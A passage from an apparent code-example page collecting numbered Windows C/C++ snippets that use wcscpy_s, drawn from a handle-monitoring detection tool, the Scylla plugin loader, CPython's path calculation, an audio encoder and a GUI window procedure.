				if (GetLogicalDriveStrings(BUFSIZE - 1, szTemp))
				{
					TCHAR szName[MAX_PATH];
					TCHAR szDrive[3] = TEXT(" :");
					BOOL bFound = FALSE;
					TCHAR* p = szTemp;

					do
					{
						// Copy the drive letter to the template string
						*szDrive = *p;

						// Look up each device name
						if (QueryDosDevice(szDrive, szName, MAX_PATH))
						{
							size_t uNameLen = _tcslen(szName);

							if (uNameLen < MAX_PATH)
							{
								bFound = _tcsnicmp(pszFilename, szName, uNameLen) == 0
									&& *(pszFilename + uNameLen) == _T('\\');

								if (bFound)
								{
									// Reconstruct pszFilename using szTempFile
									// Replace device path with DOS path
									TCHAR szTempFile[MAX_PATH];
									StringCchPrintf(szTempFile, MAX_PATH, TEXT("%s%s"), szDrive, pszFilename + uNameLen);
									StringCchCopyN(pszFilename, MAX_PATH + 1, szTempFile, _tcslen(szTempFile));
								}
							}
						}

						// Go to the next NULL character.
						while (*p++);
					} while (!bFound && *p); // end of string
				}
			}
			/* Function completed successfully */
			bSuccess = TRUE;
			UnmapViewOfFile(pMem);
		}

		CloseHandle(hFileMap);
	}
	else {
		CloseHandle(hFileMap);
		return bSuccess;
	}
	/* Copy the filename string into our _OUT_ variable */
	wcscpy_s(fName, MAX_PATH, pszFilename);
	return bSuccess;
}
Пример #17
0
CMainWindow::CMainWindow(void) :
    m_hMainWnd(NULL),
    m_CmdShow(0)
{
    wcscpy_s(m_szMainWndClass, 32, L"DispSleepWndClass");
}
Пример #18
0
int wmain(int argc, WCHAR *argv[])
{

	/* Display welcome message */
	printf("handle_monitor %s - Adam Kramer\n", VERSION_NUMBER);

	/* These variables hold configuration options, which can be altered by arguments passed */
	BOOL bIncludeSigned = FALSE;
	BOOL bSuspendProcess = FALSE;
	BOOL bVerbose = FALSE;
	DWORD dNumberCycles = 10;
	DWORD dHandleChangeThreshold = 10;
	DWORD dIterationPause = 1000;

	/* Process arguments */
	if (argc > 1)
	{
		for (int iNumberArgs = 1; iNumberArgs < argc; iNumberArgs++)
		{
			/* /signed - will include signed files in the alerts */
			if (!wcscmp(argv[iNumberArgs], L"/signed"))
			{
				bIncludeSigned = TRUE;
				printf("Info: Will show signed files as well as unsigned\n");
			}
			/* /suspect - will attempt to suspend suspicious processes */
			else if (!wcscmp(argv[iNumberArgs], L"/suspend"))
			{
				bSuspendProcess = TRUE;
				printf("Info: Will attempt to suspend suspicious processes\n");
			}
			/* /verbose - will display details of iterations and hidden results */
			else if (!wcscmp(argv[iNumberArgs], L"/verbose"))
			{
				bVerbose = TRUE;
				printf("Info: Will display verbose status messages\n");
			}
			/* /cycles - allows the user to set cycles completed before analysis */
			else if (WCHAR* wSetCycles = wcsstr(argv[iNumberArgs], L"/cycles="))
			{
				wSetCycles = wcschr(wSetCycles, '=');

				if (!(dNumberCycles = _wtol(++wSetCycles)))
				{
					printf("Error: Invalid /cycles parameter\n");
					return 1;
				}

				printf("Info: Setting number of cycles to %d\n", dNumberCycles);
			}
			/* /threshold - allows the user to set the threshold for minimum number of new handles which are suspicious */
			else if (WCHAR* wSetThreshold = wcsstr(argv[iNumberArgs], L"/threshold="))
			{
				wSetThreshold = wcschr(wSetThreshold, '=');

				if (!(dHandleChangeThreshold = _wtol(++wSetThreshold)))
				{
					printf("Error: Invalid /threshold parameter\n");
					return 1;
				}

				printf("Info: Setting handle threshold to %d\n", dHandleChangeThreshold);
			}
			/* /pause - allows the user to set a pause between cycles (reduce system load, increase window for finding something) */
			else if (WCHAR* wSetPause = wcsstr(argv[iNumberArgs], L"/pause="))
			{
				wSetPause = wcschr(wSetPause, '=');

				dIterationPause = _wtol(++wSetPause);
				printf("Info: Setting pause between cycles to %dms\n", dIterationPause);
			}
		}
		/* End of argument processing */
	}
	else
	{
		/* No argument passed, accordingly display the usage instructions */
		printf("Usage: handle_monitor.exe <optional parameters>\n\n");
		printf("Optional parameters:\n");
		printf("/cycles=X - Set number of cycles before a review [Default: 10]\n");
		printf("/threshold=X - Set suspicion threshold for number of new handles [Default: 10]\n");
		printf("/pause=X - Set pause in milliseconds between cycles [Default: 1000]\n");
		printf("/signed - Include signed executables in review process\n");
		printf("/suspend - Suspend processes identified as suspicious\n");
		printf("/verbose - Display verbose progress messages\n\n");
		printf("Info: No parameters specified, launching monitoring (Ctrl+C to stop)\n");
	}

	/* Import functions manually from NTDLL */
	_NtQuerySystemInformation NtQuerySystemInformation =
		(_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation");

	_NtDuplicateObject NtDuplicateObject =
		(_NtDuplicateObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDuplicateObject");

	_NtQueryObject NtQueryObject =
		(_NtQueryObject)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryObject");

	/* Master loop! - This runs forever until a user presses Ctrl+C */
	for (;;)
	{
		/* Update user that process is starting (if /verbose mode activiated) */
		if (bVerbose)
			printf("Verbose Info: Starting sequence\n");

		/* Variables used for retrieving handles */
		NTSTATUS status;
		ULONG handleInfoSize = 0x10000;
		HANDLE processHandle;
		ULONG i;
		PSYSTEM_HANDLE_INFORMATION handleInfo;

		/* Used in each handle iteration to identify the index in iProcessArray of the specific process */
		int iCurrentProcess_ArrayIndex = -1;

		/* Handle array - PROCESS INDEX / HANDLE NUMBER / TEXT OF HANDLE
			This holds all handles which have been found per process */
		auto cHandleArray = new WCHAR[MAX_PROCESSES][MAX_FILE_HANDLES][MAX_PATH]();
		signed int iProcessArray[MAX_PROCESSES][3] = { 0 };

		/* Set process array to -1, which indicates nothing has been set */
		for (int j = 0; j < (MAX_PROCESSES - 1); j++)
			iProcessArray[j][0] = -1;

		/* Loop dNumberCycles [default: 10] times before analysing result */
		for (unsigned int iCycleCounter = 1; iCycleCounter <= dNumberCycles; iCycleCounter++)
		{
			handleInfoSize = 0x10000;
			handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

			/* NtQuerySystemInformation won't give us the correct buffer size, so we guess by doubling the buffer size. */
			while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
				handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2);

			/* NtQuerySystemInformation stopped giving us STATUS_INFO_LENGTH_MISMATCH. */
			if (!NT_SUCCESS(status))
			{
				printf("NtQuerySystemInformation failed!\n");
				return 1;
			}

			/* Loop for each handle on the system, processing it accordingly... */
			for (i = 0; i < handleInfo->HandleCount; i++)
			{
				SYSTEM_HANDLE handle = handleInfo->Handles[i];
				HANDLE dupHandle = NULL;
				POBJECT_TYPE_INFORMATION objectTypeInfo;

				/* Open a handle to the process associated with the handle */
				if (!(processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handle.ProcessId)))
					continue;

				/* Duplicate the handle so we can query it. */
				if (!NT_SUCCESS(NtDuplicateObject(processHandle, (HANDLE)handle.Handle, GetCurrentProcess(), &dupHandle, GENERIC_READ, 0, 0)))
				{
					CloseHandle(processHandle);
					CloseHandle(dupHandle);
					continue;
				}

				/* Query the object type */
				objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000);
				if (!NT_SUCCESS(NtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL)))
				{
					free(objectTypeInfo);
					CloseHandle(processHandle);
					CloseHandle(dupHandle);
					continue;
				}

				/* If it's not a file handle, go to next one (as we're only interested in file handles) */
				if (wcscmp(objectTypeInfo->Name.Buffer, L"File"))
				{
					free(objectTypeInfo);
					CloseHandle(processHandle);
					CloseHandle(dupHandle);
					continue;
				}

				/* Identify the filename from the handle we're looking at */
				WCHAR* wHandleFileName = new WCHAR[MAX_PATH]();

				if (!GetFileNameFromHandle(dupHandle, wHandleFileName))
				{
					free(objectTypeInfo);
					free(wHandleFileName);
					CloseHandle(processHandle);
					CloseHandle(dupHandle);
					continue;
				}

				/* This is where we add our findings to the database */
				iCurrentProcess_ArrayIndex = -1;

				/* Check whether we've already got an entry for the process we're looking at */
				for (int j = 0; j < (MAX_PROCESSES - 1); j++)
					if (iProcessArray[j][PROCESS_ARRAY_INDEX] == handle.ProcessId)
						iCurrentProcess_ArrayIndex = j;

				/* If not, create a new entry for the process associated with the current handle */
				if (iCurrentProcess_ArrayIndex == -1)
					for (int j = 0; j < (MAX_PROCESSES - 1); j++)
						if (iProcessArray[j][PROCESS_ARRAY_INDEX] == -1)
						{
							iProcessArray[j][PROCESS_ARRAY_INDEX] = handle.ProcessId;
							iCurrentProcess_ArrayIndex = j;
							break;
						}

				/* If there's more than MAX_PROCESSES, throw an error
					TODO: Tidy this up, identify number of running processes dynamically and set array size accordingly */
				if (iCurrentProcess_ArrayIndex == -1)
				{
					printf("Error: Too many processes running!\n");
					return 1;
				}

				/* Look through the handle array, to see whether the filename can be found */
				WCHAR cCurrentHandleText[MAX_PATH];
				for (int j = 0; j < (MAX_FILE_HANDLES - 1); j++)
				{
					/* If we hit NULL, there are no more to find, so add ours */
					swprintf_s(cCurrentHandleText, MAX_PATH, L"%ls", wHandleFileName);

					if (!wcscmp(cHandleArray[iCurrentProcess_ArrayIndex][j], L"")){
						wcscpy_s(cHandleArray[iCurrentProcess_ArrayIndex][j], cCurrentHandleText);
						break;
					}
					/* If we find ours, then stop searching */
					else if (!wcscmp(cHandleArray[iCurrentProcess_ArrayIndex][j], cCurrentHandleText))
						break;
				}

				/* If it's the first (or last) cycle, tally how many entries in the handle array for this
					particular process we have so far */

				if (iCycleCounter == 1)
					for (int j = 0; j < (MAX_FILE_HANDLES - 1); j++)
						if (!wcscmp(cHandleArray[iCurrentProcess_ArrayIndex][j], L"")){
							iProcessArray[iCurrentProcess_ArrayIndex][PROCESS_ARRAY_COUNT_START_CYCLE] = (j - 1);
							break;
						}

				if (iCycleCounter == dNumberCycles)
					for (int j = 0; j < (MAX_FILE_HANDLES - 1); j++)
						if (!wcscmp(cHandleArray[iCurrentProcess_ArrayIndex][j], L"")) {
							iProcessArray[iCurrentProcess_ArrayIndex][PROCESS_ARRAY_COUNT_END_CYCLE] = (j - 1);
							break;
						}

				free(objectTypeInfo);
				free(wHandleFileName);
				CloseHandle(dupHandle);
				CloseHandle(processHandle);
			}
			free(handleInfo);

			/* If the iteration pause is not 0, sleep for the requested time [Default: 1000ms] */
			if (dIterationPause)
				Sleep(dIterationPause);

			/* If /verbose active - inform user which cycle we are on */
			if (bVerbose)
				if (iCycleCounter == 1)
					printf("Verbose Info: Completed cycle %d", iCycleCounter);
				else if (iCycleCounter == dNumberCycles)
					printf(" %d\n", iCycleCounter);
				else
					printf(" %d", iCycleCounter);
		}

		/* If /verbose active - inform user we are now starting a review */
		if (bVerbose)
			printf("Verbose Info: Cycles completed, beginning review\n");

		/* Check if any of them met threshold*/
		for (int j = 0; j < (MAX_PROCESSES - 1); j++)
		{
			if (iProcessArray[j][PROCESS_ARRAY_COUNT_END_CYCLE] < iProcessArray[j][PROCESS_ARRAY_COUNT_START_CYCLE])
				continue;

			/* dHandleDelta is the difference between number of handles for a process from first cycle to the last one  */
			DWORD dHandleDelta = (iProcessArray[j][PROCESS_ARRAY_COUNT_END_CYCLE] - iProcessArray[j][PROCESS_ARRAY_COUNT_START_CYCLE]);

			/* Check whether the delta is equal or above the threshold */
			if (dHandleDelta >= dHandleChangeThreshold)
			{
				HANDLE pHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, iProcessArray[j][PROCESS_ARRAY_INDEX]);
				TCHAR tProcessName[MAX_PATH];
				GetModuleFileNameEx(pHandle, 0, tProcessName, MAX_PATH);
				CloseHandle(pHandle);

				/* If we don't want signed, yet it is signed, skip... */
				if (!bIncludeSigned && (is_signed(tProcessName) == 0))
				{
					if (bVerbose)
						wprintf(L"Verbose Info: Skipping alert on %s (%d) despite trigger, as it is signed (use /signed to alert on signed executables too)\n", tProcessName, iProcessArray[j][PROCESS_ARRAY_INDEX]);
					continue;
				}

				/* Inform the user if we have a suspicious process */
				wprintf(L"Alert! Process: %s (%d) has had a suspicious number of handles (%d) created in the last cycle\nNew handles created during this cycle:\n", tProcessName, iProcessArray[j][PROCESS_ARRAY_INDEX], dHandleDelta);

				for (DWORD k = 1; k <= dHandleDelta; k++)
					wprintf(L"%s\n", cHandleArray[j][iProcessArray[j][PROCESS_ARRAY_COUNT_START_CYCLE] + k]);

				if (bSuspendProcess)
				{

					printf("Info: Attempting to suspend process %d\n", iProcessArray[j][PROCESS_ARRAY_INDEX]);

					/* Attach debugger to process (freeze it!)*/
					if (!DebugActiveProcess(iProcessArray[j][PROCESS_ARRAY_INDEX]))
					{
						printf("Info: Could not attach to process %d as a debugger\n", iProcessArray[j][PROCESS_ARRAY_INDEX]);
					}
					else
					{
						DebugSetProcessKillOnExit(FALSE);

						printf("Info: Successfully attached to process %d as debugger\n", iProcessArray[j][PROCESS_ARRAY_INDEX]);
						printf("Info: It will remain frozen until this process is terminated\n");
					}
				}

				printf("------------------------------------------------------------------------------\n");

			}
		}

		if (bVerbose)
			printf("Verbose Info: Review complete\n");

		free(cHandleArray);

	}

	return 0;
}
Пример #19
0
bool PluginLoader::searchForPlugin(std::vector<Plugin> & newPluginList, const WCHAR * searchPath, bool isScyllaPlugin)
{
	WIN32_FIND_DATA ffd;
	HANDLE hFind = 0;
	DWORD dwError = 0;
	Plugin pluginData;

	hFind = FindFirstFile(searchPath, &ffd);

	dwError = GetLastError();

	if (dwError == ERROR_FILE_NOT_FOUND)
	{
#ifdef DEBUG_COMMENTS
		Scylla::debugLog.log(L"findAllPlugins :: No files found");
#endif
		return true;
	}

	if (hFind == INVALID_HANDLE_VALUE)
	{
#ifdef DEBUG_COMMENTS
		Scylla::debugLog.log(L"findAllPlugins :: FindFirstFile failed %d", dwError);
#endif
		return false;
	}

	do
	{
		if ( !(ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) )
		{

			if ((ffd.nFileSizeHigh != 0) || (ffd.nFileSizeLow < 200))
			{
#ifdef DEBUG_COMMENTS
				Scylla::debugLog.log(L"findAllPlugins :: Plugin invalid file size: %s", ffd.cFileName);
#endif
			}
			else
			{
				pluginData.fileSize = ffd.nFileSizeLow;
				wcscpy_s(pluginData.fullpath, baseDirPath);
				wcscat_s(pluginData.fullpath, ffd.cFileName);

#ifdef DEBUG_COMMENTS
				Scylla::debugLog.log(L"findAllPlugins :: Plugin %s", pluginData.fullpath);
#endif
				if (isValidDllFile(pluginData.fullpath))
				{
					if (isScyllaPlugin)
					{
						if (getScyllaPluginName(&pluginData))
						{
							//add valid plugin
							newPluginList.push_back(pluginData);
						}
						else
						{
#ifdef DEBUG_COMMENTS
							Scylla::debugLog.log(L"Cannot get scylla plugin name %s", pluginData.fullpath);
#endif
						}
					}
					else
					{
						if (isValidImprecPlugin(pluginData.fullpath))
						{
							wcscpy_s(pluginData.pluginName, ffd.cFileName);
							newPluginList.push_back(pluginData);
						}
					}

				}

			}

		}
	}
	while (FindNextFile(hFind, &ffd) != 0);

	dwError = GetLastError();

	FindClose(hFind);

	return (dwError == ERROR_NO_MORE_FILES);
}
Пример #20
0
static int
read_pth_file(const wchar_t *path, wchar_t *prefix, int *isolated, int *nosite)
{
    FILE *sp_file = _Py_wfopen(path, L"r");
    if (sp_file == NULL)
        return -1;

    wcscpy_s(prefix, MAXPATHLEN+1, path);
    reduce(prefix);
    *isolated = 1;
    *nosite = 1;

    size_t bufsiz = MAXPATHLEN;
    size_t prefixlen = wcslen(prefix);

    wchar_t *buf = (wchar_t*)PyMem_RawMalloc(bufsiz * sizeof(wchar_t));
    buf[0] = '\0';

    while (!feof(sp_file)) {
        char line[MAXPATHLEN + 1];
        char *p = fgets(line, MAXPATHLEN + 1, sp_file);
        if (!p)
            break;
        if (*p == '\0' || *p == '#')
            continue;
        while (*++p) {
            if (*p == '\r' || *p == '\n') {
                *p = '\0';
                break;
            }
        }

        if (strcmp(line, "import site") == 0) {
            *nosite = 0;
            continue;
        } else if (strncmp(line, "import ", 7) == 0) {
            Py_FatalError("only 'import site' is supported in ._pth file");
        }

        DWORD wn = MultiByteToWideChar(CP_UTF8, 0, line, -1, NULL, 0);
        wchar_t *wline = (wchar_t*)PyMem_RawMalloc((wn + 1) * sizeof(wchar_t));
        wn = MultiByteToWideChar(CP_UTF8, 0, line, -1, wline, wn + 1);
        wline[wn] = '\0';

        size_t usedsiz = wcslen(buf);
        while (usedsiz + wn + prefixlen + 4 > bufsiz) {
            bufsiz += MAXPATHLEN;
            buf = (wchar_t*)PyMem_RawRealloc(buf, (bufsiz + 1) * sizeof(wchar_t));
            if (!buf) {
                PyMem_RawFree(wline);
                goto error;
            }
        }

        if (usedsiz) {
            wcscat_s(buf, bufsiz, L";");
            usedsiz += 1;
        }

        errno_t result;
        _Py_BEGIN_SUPPRESS_IPH
        result = wcscat_s(buf, bufsiz, prefix);
        _Py_END_SUPPRESS_IPH
        if (result == EINVAL) {
            Py_FatalError("invalid argument during ._pth processing");
        } else if (result == ERANGE) {
            Py_FatalError("buffer overflow during ._pth processing");
        }
        wchar_t *b = &buf[usedsiz];
        join(b, wline);

        PyMem_RawFree(wline);
    }

    module_search_path = buf;

    fclose(sp_file);
    return 0;

error:
    PyMem_RawFree(buf);
    fclose(sp_file);
    return -1;
}
Пример #21
0
int wmain(int argc, wchar_t *argv[])
{
  Parameters commandLineParameters;

  if (argc < 1)
  {
    printf("Command line help goes here...");
    return 0;
  }

  CommandLineParser::Parse(argc, argv, &commandLineParameters);

  AudioEncoderParameters* encoderParameters = nullptr;

  if (commandLineParameters.Quality == 100)
  {
    encoderParameters = AudioEncoderParameters::CreateLosslessEncoderParameters(2, 44100, 16);
  }
  else
  {
    encoderParameters = AudioEncoderParameters::CreateQualityBasedVbrParameters(commandLineParameters.Quality, 2, 44100, 16);
  }

  // Verify that output folder exists, if specified
  // (and add a '\' to it if it doesn't exist)

  if (*commandLineParameters.OutputFolder)
  {
    WIN32_FILE_ATTRIBUTE_DATA fileData;

    BOOL success = GetFileAttributesEx(commandLineParameters.OutputFolder, GET_FILEEX_INFO_LEVELS::GetFileExInfoStandard, &fileData);

    // check if the file system object exists, but it's not a directory...

    if (success && ((fileData.dwFileAttributes & 0x10) == 0))
    {
      printf("Specified output directory is not a directory");
      return 0;
    }

    if (!success)
    {
      printf("Specified output directory does not exist");
      return 0;
    }

    size_t outputFolderLength = wcslen(commandLineParameters.OutputFolder);

    if (outputFolderLength < MAX_PATH - 1)
    {
      if (*(commandLineParameters.OutputFolder + outputFolderLength - 1) != '\\')
      {
        *(commandLineParameters.OutputFolder + outputFolderLength) = '\\';
        *(commandLineParameters.OutputFolder + outputFolderLength + 1) = '\0';
      }
    }
  }

  // Initialize COM & Media Foundation

  if (!SUCCEEDED(CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED)))
  {
    wprintf_s(L"Unable to initialize COM");
    return -1;
  }

  if (!SUCCEEDED(MFStartup(MF_VERSION)))
  {
    CoUninitialize();

    wprintf_s(L"Unable to initialize MediaFoundation");
    return -1;
  }


  try
  {
    // Use the Windows shell API to extract the path component from the input filename

    WCHAR srcFileFolder[MAX_PATH];
    WCHAR srcFileName[MAX_PATH];

    wcscpy_s(srcFileFolder, commandLineParameters.InputFilename);

    BOOL ret = PathRemoveFileSpec(srcFileFolder);

    size_t srcFolderLength = wcslen(srcFileFolder);

    if (srcFolderLength < MAX_PATH - 1)
    {
      if (srcFolderLength > 0)
      {
        if (*(srcFileFolder + srcFolderLength - 1) != '\\')
        {
          *(srcFileFolder + srcFolderLength) = '\\';
          *(srcFileFolder + srcFolderLength + 1) = '\0';
        }
      }
    }

    // do some basic parsing of input filename, as FirstFirstFile / FindNext 
    // does not return the full path so we'll have to prepend
    // any directory info specified

    WIN32_FIND_DATA findData;

    HANDLE hFindFile = FindFirstFile(commandLineParameters.InputFilename, &findData);

    if (hFindFile != INVALID_HANDLE_VALUE)
    {
      do
      {
        if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
          // skip directories

          continue;
        }

        wcscpy_s(srcFileName, srcFileFolder);
        wcscat_s(srcFileName, findData.cFileName);

        MediaSource* mediaSource = MediaSource::Open(srcFileName);

        // if an output folder is specified, use that

        WCHAR outputFilename[MAX_PATH];

        if (*commandLineParameters.OutputFolder)
        {
          wcscpy_s(outputFilename, commandLineParameters.OutputFolder);
          wcscat_s(outputFilename, findData.cFileName);
          PathRenameExtension(outputFilename, L".wma");
        }
        else
        {
          wcscpy_s(outputFilename, commandLineParameters.OutputFilename);
        }

        AsfContentInfoBuilder *contentInfo = new AsfContentInfoBuilder();
        contentInfo->AddStreamSink(1, encoderParameters);
        SetMediaSinkContentInfoMetadata(contentInfo, mediaSource, &commandLineParameters);

        MediaSink* mediaSink = MediaSink::Create(outputFilename, contentInfo->ConstructMfAsfContentInfo());

        wprintf_s(L"Encoding %s\n", findData.cFileName);

        AudioEncoder::Encode(mediaSource, mediaSink, encoderParameters);

        delete mediaSink;
        delete mediaSource;

      } while (FindNextFile(hFindFile, &findData));

      FindClose(hFindFile);
    }
    else
    {
      // input file does not exit

      throw std::invalid_argument("Input filename does not exist");
    }

    MFShutdown();
    CoUninitialize();
  }
  catch (std::exception &ex)
  {
    printf("ERROR: %s\n", ex.what());
  }


    return 0;
}
Пример #22
0
static void
calculate_path(void)
{
    wchar_t argv0_path[MAXPATHLEN+1];
    wchar_t *buf;
    size_t bufsz;
    wchar_t *pythonhome = Py_GetPythonHome();
    wchar_t *envpath = NULL;

    int skiphome, skipdefault;
    wchar_t *machinepath = NULL;
    wchar_t *userpath = NULL;
    wchar_t zip_path[MAXPATHLEN+1];

    if (!Py_IgnoreEnvironmentFlag) {
        envpath = _wgetenv(L"PYTHONPATH");
    }

    get_progpath();
    /* progpath guaranteed \0 terminated in MAXPATH+1 bytes. */
    wcscpy_s(argv0_path, MAXPATHLEN+1, progpath);
    reduce(argv0_path);

    /* Search for a sys.path file */
    {
        wchar_t spbuffer[MAXPATHLEN+1];

        if ((dllpath[0] && !change_ext(spbuffer, dllpath, L"._pth") && exists(spbuffer)) ||
            (progpath[0] && !change_ext(spbuffer, progpath, L"._pth") && exists(spbuffer))) {

            if (!read_pth_file(spbuffer, prefix, &Py_IsolatedFlag, &Py_NoSiteFlag)) {
                return;
            }
        }
    }

    /* Search for an environment configuration file, first in the
       executable's directory and then in the parent directory.
       If found, open it for use when searching for prefixes.
    */

    {
        wchar_t envbuffer[MAXPATHLEN+1];
        wchar_t tmpbuffer[MAXPATHLEN+1];
        const wchar_t *env_cfg = L"pyvenv.cfg";
        FILE * env_file = NULL;

        wcscpy_s(envbuffer, MAXPATHLEN+1, argv0_path);
        join(envbuffer, env_cfg);
        env_file = _Py_wfopen(envbuffer, L"r");
        if (env_file == NULL) {
            errno = 0;
            reduce(envbuffer);
            reduce(envbuffer);
            join(envbuffer, env_cfg);
            env_file = _Py_wfopen(envbuffer, L"r");
            if (env_file == NULL) {
                errno = 0;
            }
        }
        if (env_file != NULL) {
            /* Look for a 'home' variable and set argv0_path to it, if found */
            if (find_env_config_value(env_file, L"home", tmpbuffer)) {
                wcscpy_s(argv0_path, MAXPATHLEN+1, tmpbuffer);
            }
            fclose(env_file);
            env_file = NULL;
        }
    }

    /* Calculate zip archive path from DLL or exe path */
    change_ext(zip_path, dllpath[0] ? dllpath : progpath, L".zip");

    if (pythonhome == NULL || *pythonhome == '\0') {
        if (zip_path[0] && exists(zip_path)) {
            wcscpy_s(prefix, MAXPATHLEN+1, zip_path);
            reduce(prefix);
            pythonhome = prefix;
        } else if (search_for_prefix(argv0_path, LANDMARK))
            pythonhome = prefix;
        else
            pythonhome = NULL;
    }
    else
        wcscpy_s(prefix, MAXPATHLEN+1, pythonhome);

    if (envpath && *envpath == '\0')
        envpath = NULL;


    skiphome = pythonhome==NULL ? 0 : 1;
#ifdef Py_ENABLE_SHARED
    machinepath = getpythonregpath(HKEY_LOCAL_MACHINE, skiphome);
    userpath = getpythonregpath(HKEY_CURRENT_USER, skiphome);
#endif
    /* We only use the default relative PYTHONPATH if we havent
       anything better to use! */
    skipdefault = envpath!=NULL || pythonhome!=NULL || \
                  machinepath!=NULL || userpath!=NULL;

    /* We need to construct a path from the following parts.
       (1) the PYTHONPATH environment variable, if set;
       (2) for Win32, the zip archive file path;
       (3) for Win32, the machinepath and userpath, if set;
       (4) the PYTHONPATH config macro, with the leading "."
           of each component replaced with pythonhome, if set;
       (5) the directory containing the executable (argv0_path).
       The length calculation calculates #4 first.
       Extra rules:
       - If PYTHONHOME is set (in any way) item (3) is ignored.
       - If registry values are used, (4) and (5) are ignored.
    */

    /* Calculate size of return buffer */
    if (pythonhome != NULL) {
        wchar_t *p;
        bufsz = 1;
        for (p = PYTHONPATH; *p; p++) {
            if (*p == DELIM)
                bufsz++; /* number of DELIM plus one */
        }
        bufsz *= wcslen(pythonhome);
    }
    else
        bufsz = 0;
    bufsz += wcslen(PYTHONPATH) + 1;
    bufsz += wcslen(argv0_path) + 1;
    if (userpath)
        bufsz += wcslen(userpath) + 1;
    if (machinepath)
        bufsz += wcslen(machinepath) + 1;
    bufsz += wcslen(zip_path) + 1;
    if (envpath != NULL)
        bufsz += wcslen(envpath) + 1;

    module_search_path = buf = PyMem_RawMalloc(bufsz*sizeof(wchar_t));
    if (buf == NULL) {
        /* We can't exit, so print a warning and limp along */
        fprintf(stderr, "Can't malloc dynamic PYTHONPATH.\n");
        if (envpath) {
            fprintf(stderr, "Using environment $PYTHONPATH.\n");
            module_search_path = envpath;
        }
        else {
            fprintf(stderr, "Using default static path.\n");
            module_search_path = PYTHONPATH;
        }
        PyMem_RawFree(machinepath);
        PyMem_RawFree(userpath);
        return;
    }

    if (envpath) {
        if (wcscpy_s(buf, bufsz - (buf - module_search_path), envpath))
            Py_FatalError("buffer overflow in getpathp.c's calculate_path()");
        buf = wcschr(buf, L'\0');
        *buf++ = DELIM;
    }
    if (zip_path[0]) {
        if (wcscpy_s(buf, bufsz - (buf - module_search_path), zip_path))
            Py_FatalError("buffer overflow in getpathp.c's calculate_path()");
        buf = wcschr(buf, L'\0');
        *buf++ = DELIM;
    }
    if (userpath) {
        if (wcscpy_s(buf, bufsz - (buf - module_search_path), userpath))
            Py_FatalError("buffer overflow in getpathp.c's calculate_path()");
        buf = wcschr(buf, L'\0');
        *buf++ = DELIM;
        PyMem_RawFree(userpath);
    }
    if (machinepath) {
        if (wcscpy_s(buf, bufsz - (buf - module_search_path), machinepath))
            Py_FatalError("buffer overflow in getpathp.c's calculate_path()");
        buf = wcschr(buf, L'\0');
        *buf++ = DELIM;
        PyMem_RawFree(machinepath);
    }
    if (pythonhome == NULL) {
        if (!skipdefault) {
            if (wcscpy_s(buf, bufsz - (buf - module_search_path), PYTHONPATH))
                Py_FatalError("buffer overflow in getpathp.c's calculate_path()");
            buf = wcschr(buf, L'\0');
            *buf++ = DELIM;
        }
    } else {
        wchar_t *p = PYTHONPATH;
        wchar_t *q;
        size_t n;
        for (;;) {
            q = wcschr(p, DELIM);
            if (q == NULL)
                n = wcslen(p);
            else
                n = q-p;
            if (p[0] == '.' && is_sep(p[1])) {
                if (wcscpy_s(buf, bufsz - (buf - module_search_path), pythonhome))
                    Py_FatalError("buffer overflow in getpathp.c's calculate_path()");
                buf = wcschr(buf, L'\0');
                p++;
                n--;
            }
            wcsncpy(buf, p, n);
            buf += n;
            *buf++ = DELIM;
            if (q == NULL)
                break;
            p = q+1;
        }
    }
    if (argv0_path) {
        wcscpy(buf, argv0_path);
        buf = wcschr(buf, L'\0');
        *buf++ = DELIM;
    }
    *(buf - 1) = L'\0';
    /* Now to pull one last hack/trick.  If sys.prefix is
       empty, then try and find it somewhere on the paths
       we calculated.  We scan backwards, as our general policy
       is that Python core directories are at the *end* of
       sys.path.  We assume that our "lib" directory is
       on the path, and that our 'prefix' directory is
       the parent of that.
    */
    if (*prefix==L'\0') {
        wchar_t lookBuf[MAXPATHLEN+1];
        wchar_t *look = buf - 1; /* 'buf' is at the end of the buffer */
        while (1) {
            Py_ssize_t nchars;
            wchar_t *lookEnd = look;
            /* 'look' will end up one character before the
               start of the path in question - even if this
               is one character before the start of the buffer
            */
            while (look >= module_search_path && *look != DELIM)
                look--;
            nchars = lookEnd-look;
            wcsncpy(lookBuf, look+1, nchars);
            lookBuf[nchars] = L'\0';
            /* Up one level to the parent */
            reduce(lookBuf);
            if (search_for_prefix(lookBuf, LANDMARK)) {
                break;
            }
            /* If we are out of paths to search - give up */
            if (look < module_search_path)
                break;
            look--;
        }
    }
}
LRESULT CALLBACK MainWndProc( HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam )
{
    switch ( msg )
    {
		case WM_CREATE:
		{
			CreateMenus();

			// Set our menu bar.
			SetMenu( hWnd, g_hMenu );

			// Create our listview window.
			g_hWnd_list = CreateWindow( WC_LISTVIEW, NULL, LVS_REPORT | LVS_EDITLABELS | LVS_OWNERDRAWFIXED | WS_CHILDWINDOW | WS_VISIBLE, 0, 0, MIN_WIDTH, MIN_HEIGHT, hWnd, NULL, NULL, NULL );
			SendMessage( g_hWnd_list, LVM_SETEXTENDEDLISTVIEWSTYLE, 0, LVS_EX_DOUBLEBUFFER | LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES );

			// Make pretty font.
			SendMessage( g_hWnd_list, WM_SETFONT, ( WPARAM )hFont, 0 );

			// Allow drag and drop for the listview.
			DragAcceptFiles( g_hWnd_list, TRUE );

			// Subclass our listview to receive WM_DROPFILES.
			ListViewProc = ( WNDPROC )GetWindowLong( g_hWnd_list, GWL_WNDPROC );
